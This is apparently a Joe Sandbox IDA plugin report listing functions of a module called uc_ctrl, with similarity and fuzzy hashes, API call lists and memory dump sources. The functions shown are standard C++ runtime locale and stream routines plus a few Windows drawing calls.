Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 0b2ee78d5bfc532bf5b1e7de492658e9e90a82964a74e75f5ac19a7a85cea26d
Instruction ID: 3bef7b008d59ea001238a716c520bb6102a2967d0aafc5d1d7be7b0d580c4571
Opcode Fuzzy Hash: 0b2ee78d5bfc532bf5b1e7de492658e9e90a82964a74e75f5ac19a7a85cea26d
Instruction Fuzzy Hash: 6E318D74E051499FCB06CFA8C590AFEBBB5FF68314F254019E105A7285EBB49A01CBA6

Function 6D1C2F10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2F17

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C2F4B

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2F60
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6D1C2F9E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C300A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 1718ad76ddda52174a78a55b6a8aebce6b8f2dfe9d292f358ab66b22140c6b18
Instruction ID: 9b321f11a7eaabb75b62662c4726afff7b9d73dce603b65a9747c5be9f96c209
Opcode Fuzzy Hash: 1718ad76ddda52174a78a55b6a8aebce6b8f2dfe9d292f358ab66b22140c6b18
Instruction Fuzzy Hash: E7318D74E05109DFCB05CFA4C590AFEFBB5FF58304F154059E505A7246DBB89A42CBA2

Function 6D1C6150 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6157

Part of subcall function 6D1BFE8C: __EH_prolog3.LIBCMT ref: 6D1BFE93
Part of subcall function 6D1BFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1BFEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C618B

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9550: __EH_prolog3.LIBCMT ref: 6D1B9557
Part of subcall function 6D1B9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE5C0,?,?,00000000), ref: 6D1B9562
Part of subcall function 6D1B9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1B957A
Part of subcall function 6D1B9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1B95DE

std::locale::~locale.LIBCPMT ref: 6D1C61A0
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6D1C61DE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C624A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: f0443701d684906de182e1837ea179985e78738d418028a724da4336faa638a9
Instruction ID: 16fffc04e8cead6592f027fb3517c28ca25c870339a9ba412f377b29b9dad482
Opcode Fuzzy Hash: f0443701d684906de182e1837ea179985e78738d418028a724da4336faa638a9
Instruction Fuzzy Hash: A6319E74E051099FCB05CFE4C590BFEBBB9FF68304F14402AE505A7255DBB89A01CBA2

Function 6D1C8C20 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8C27

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6D1C8C5A

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8C6F
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6D1C8CA8
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6D1C8D11

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 52894e1e5f2f856544af51a0943af51c8ac76db7d7781cd951ea593ca232b446
Instruction ID: c5ca4880019a54208b17114eeb96f79352d51c93f3860ce3734d406d2098cfd9
Opcode Fuzzy Hash: 52894e1e5f2f856544af51a0943af51c8ac76db7d7781cd951ea593ca232b446
Instruction Fuzzy Hash: AB218074E051099FCB05CFA8C5909EEBBB5BF28308F25405EE505A7345DBB49E41CB66

Function 6D1C8E10 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8E17

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6D1C8E4A

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8E5F
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6D1C8E98
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6D1C8F04

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 0c89f28fbfc70b28953830f8ff439df771e0206cc35aa11eb8c9b8eb3402f618
Instruction ID: e4d6e45e89343b87cef3cafad7d057485f67e6bc94c9f5e36464729c09bc4f9b
Opcode Fuzzy Hash: 0c89f28fbfc70b28953830f8ff439df771e0206cc35aa11eb8c9b8eb3402f618
Instruction Fuzzy Hash: C921A074E051499FCB09CFA8C4909EEBBB5BF18308F14402EE505A7345DBB89E05CB66

Function 6CF18A7B Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF5025: __EH_prolog3.LIBCMT ref: 6CEF502C
Part of subcall function 6CEF5025: GetDC.USER32(00000000), ref: 6CEF5058

IsRectEmpty.USER32(?), ref: 6CF18AA3
InvertRect.USER32(?,?), ref: 6CF18AB1
SetRectEmpty.USER32(?), ref: 6CF18AC3
GetClientRect.USER32(?,?), ref: 6CF18AE0
InvertRect.USER32(?,?), ref: 6CF18B30

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$EmptyInvert$ClientH_prolog3
String ID:
API String ID: 1656078942-0
Opcode ID: eeac6832870b9ad79f4279d4d59d626adf63c85fbc278eb4159e6eef05ec3309
Instruction ID: a431c7b90c2c8afa08192f20251e9fd27ab02e718bc74d08c7676b007de96699
Opcode Fuzzy Hash: eeac6832870b9ad79f4279d4d59d626adf63c85fbc278eb4159e6eef05ec3309
Instruction Fuzzy Hash: F7213072A05609AFCB15CFB4C984AEEBBF9FF49304F14456EE805E7600EB726A45CB50

Function 6D19ED80 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19ED9E
___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19EDAA
memcpy.VCRUNTIME140(?,?,?), ref: 6D19EDD8
__crtLCMapStringA.MSVCP140(?,00000400,?,?,00000000,00000000,?,00000001), ref: 6D19EDF5

Part of subcall function 6D1A0E50: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0E6E
Part of subcall function 6D1A0E50: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6D1A0E9A
Part of subcall function 6D1A0E50: __alloca_probe_16.LIBCMT ref: 6D1A0ED2
Part of subcall function 6D1A0E50: MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6D1A0F2F
Part of subcall function 6D1A0E50: __crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6D1A0F49
Part of subcall function 6D1A0E50: __crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6D1A0F85

__crtLCMapStringA.MSVCP140(?,00000400,?,?,?,?,?,00000001), ref: 6D19EE1D

Part of subcall function 6D1A0E50: _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D1A0EF3
Part of subcall function 6D1A0E50: __alloca_probe_16.LIBCMT ref: 6D1A0FB9
Part of subcall function 6D1A0E50: __crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6D1A0FFF
Part of subcall function 6D1A0E50: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D1A101A
Part of subcall function 6D1A0E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6D1A1032
Part of subcall function 6D1A0E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D1A1071

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: String__crt$ByteCharMultiWide$__alloca_probe_16_free_base$___lc_collate_cp_func___lc_locale_name_func__strncnt_malloc_basememcpy
String ID:
API String ID: 1943972359-0
Opcode ID: 8c2be168589263bae04c4224dbaec34d2b996539e2542a29db6e37dfef766426
Instruction ID: 599414c5ee9b1ce2066b136216eccd0308bb09c0bdd5deafe24bf2c485743b68
Opcode Fuzzy Hash: 8c2be168589263bae04c4224dbaec34d2b996539e2542a29db6e37dfef766426
Instruction Fuzzy Hash: 3721A171A41205BFEF048FA9DD45BAE7BB9FF09354F154118FA08EB244E7B1EA108B90

Function 6D1C46A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C46A7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C46D7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C46ED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000001,?,?), ref: 6D1C4736
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4783

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 178edd1a6d49b964da4b67530d1528c5c7ddbf220b5a63407d779d1279798a04
Instruction ID: 0cb930b5463c60924543df53b88f8d7158cb2d89ec32af5900a4f37596e09d28
Opcode Fuzzy Hash: 178edd1a6d49b964da4b67530d1528c5c7ddbf220b5a63407d779d1279798a04
Instruction Fuzzy Hash: CA2129B5E08104ABDB05CFA8C450BFDBBB1BF68304F14804DE345AB285DBF99A40CBA5

Function 6D1B0F20 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B0F27
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6D1B0F4A

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6D1B0F68

Part of subcall function 6D1B5CD0: __EH_prolog3_GS.LIBCMT ref: 6D1B5CDA

_Stoullx.MSVCP140(?,?,00000000), ref: 6D1B0F79

Part of subcall function 6D19E7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E805
Part of subcall function 6D19E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6D19E8A6
Part of subcall function 6D19E7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E8B8
Part of subcall function 6D19E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6D19E90A

std::locale::~locale.LIBCPMT ref: 6D1B0F8C

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
String ID:
API String ID: 1569883386-0
Opcode ID: ec559174109e917030f9acb79294cf3a1310bfec8ad2ca135412b85372e2d146
Instruction ID: f4357faa82b338edd01a3adc590556a80ae05a7535e64b52d3b625bf5819d979
Opcode Fuzzy Hash: ec559174109e917030f9acb79294cf3a1310bfec8ad2ca135412b85372e2d146
Instruction Fuzzy Hash: 13213A75900219EFCB05CF94D980AEEBBB9BF08314F05415AF915E7254EBB0AA05CBA1

Function 6D1A8FA0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8FA7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6D1A8FCA

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6D1A8FE8

Part of subcall function 6D1AA400: __EH_prolog3_GS.LIBCMT ref: 6D1AA407

_Stollx.MSVCP140(?,?,00000000), ref: 6D1A8FF9

Part of subcall function 6D19E400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19E424
Part of subcall function 6D19E400: _Stoullx.MSVCP140(?,?,?,?), ref: 6D19E448

std::locale::~locale.LIBCPMT ref: 6D1A900C

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 2254190012-0
Opcode ID: 984f4b1d06ec7091af392b7d51888d4c7e238790244ecd2a170bdcdfef7fda85
Instruction ID: f7db1724c96017baa2a23ccc2311e38f022b95d43cbd0efb3c891939974000dd
Opcode Fuzzy Hash: 984f4b1d06ec7091af392b7d51888d4c7e238790244ecd2a170bdcdfef7fda85
Instruction Fuzzy Hash: 53217F79900219EFCF05CF94DA80AEEB7B8FF04358F054156F905E7244DBB09A05CB51

Function 6D1B0FE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B0FE7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6D1B100A

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6D1B1028

Part of subcall function 6D1B5CD0: __EH_prolog3_GS.LIBCMT ref: 6D1B5CDA

_Stollx.MSVCP140(?,?,00000000), ref: 6D1B1039

Part of subcall function 6D19E400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19E424
Part of subcall function 6D19E400: _Stoullx.MSVCP140(?,?,?,?), ref: 6D19E448

std::locale::~locale.LIBCPMT ref: 6D1B104C

Memory Dump Source

